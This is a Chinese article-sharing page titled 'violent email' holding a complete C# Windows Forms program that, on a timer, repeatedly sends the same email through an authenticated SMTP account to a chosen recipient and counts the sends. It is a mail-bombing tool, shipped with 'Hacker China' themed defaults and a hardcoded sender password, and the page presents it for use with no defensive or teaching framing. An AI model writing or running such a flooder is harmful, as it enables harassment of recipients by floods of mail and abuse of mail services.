打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
暴力邮件

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace 暴力邮件
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        Point Mouse_offset;
        int i = 0;
        private void Form1_Load(object sender, EventArgs e)
        {
            txtSmtp.Text = "smtp.126.com";
            txtSend.Text = "top_Hacker@126.com";
            txtDisplayName.Text = "Hacker.China";
            txtReceive.Text = "";
            txtTitle.Text = "HackerComing";
            txtPassword.Text = "HackerChina";
            txtBody.Text = "(Hacher is coming!)";


        }
       
        private void timer1_Tick(object sender, EventArgs e)
        {
            this.Cursor = Cursors.WaitCursor;
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(txtSend.Text,txtDisplayName.Text,Encoding.UTF8);
            mail.To.Add(txtReceive.Text);
            mail.Subject = txtTitle.Text;
            mail.SubjectEncoding = Encoding.Default;
            mail.Body = txtBody.Text;
            mail.BodyEncoding = Encoding.Default;
            mail.IsBodyHtml = false;
            mail.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient();
            client.Host = txtSmtp.Text;
            client.Port = 25;
            //不使用默认凭证,注意此句必须放在 client.Credentials 的上面
            client.UseDefaultCredentials = false;
            client.Credentials = new NetworkCredential(txtSend.Text,txtPassword.Text);//初始化用户密码类
            //邮件通过网络直接发送到服务器
            client.DeliveryMethod = SmtpDeliveryMethod.Network;
            try
            {
                client.Send(mail);
                i=i+1;
                label7.Text = Convert.ToString(i);
              
            }
            catch (SmtpException ex)
            {
                MessageBox.Show("发送失败" + ex.Message);
            }
            catch (Exception ex)
            {
                MessageBox.Show("发送失败" + ex.Message);
            }
            finally {
                mail.Dispose();
                client = null;
                this.Cursor=Cursors.Default;
            }
           
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.Close();
        }

        private void Form1_MouseDown(object sender, MouseEventArgs e)
        {
            Mouse_offset = new Point(-e.X,-e.Y);
        }

        private void Form1_MouseMove(object sender, MouseEventArgs e)
        {
            if (e.Button == MouseButtons.Left)
            {
                Point mousepos = Control.MousePosition;
                mousepos.Offset(Mouse_offset.X,Mouse_offset.Y);
                Location = mousepos;
            }
        }

        private void label8_Click(object sender, EventArgs e)
        {
            this.label8.Visible = false;
        }

        private void textBox1_TextChanged(object sender, EventArgs e)
        {
           
        }

        private void button3_Click(object sender, EventArgs e)
        {
            if (timer1.Enabled == false)
            {
                timer1.Enabled = true;
            }
            else {
                timer1.Enabled = false;
            }
        }

        private void timer2_Tick(object sender, EventArgs e)
        {
            label9.Text = DateTime.Now.ToString("hh:mm:ss");
        }
    }
}

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
C# 数据校验与控件绑定
浅析C# treeview控件的使用方法
确保文本框只能输入数字
C# 数字转换
this.uinBox.Clear_传奇私服
V8.A12NumericUpDown 控件(1)
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服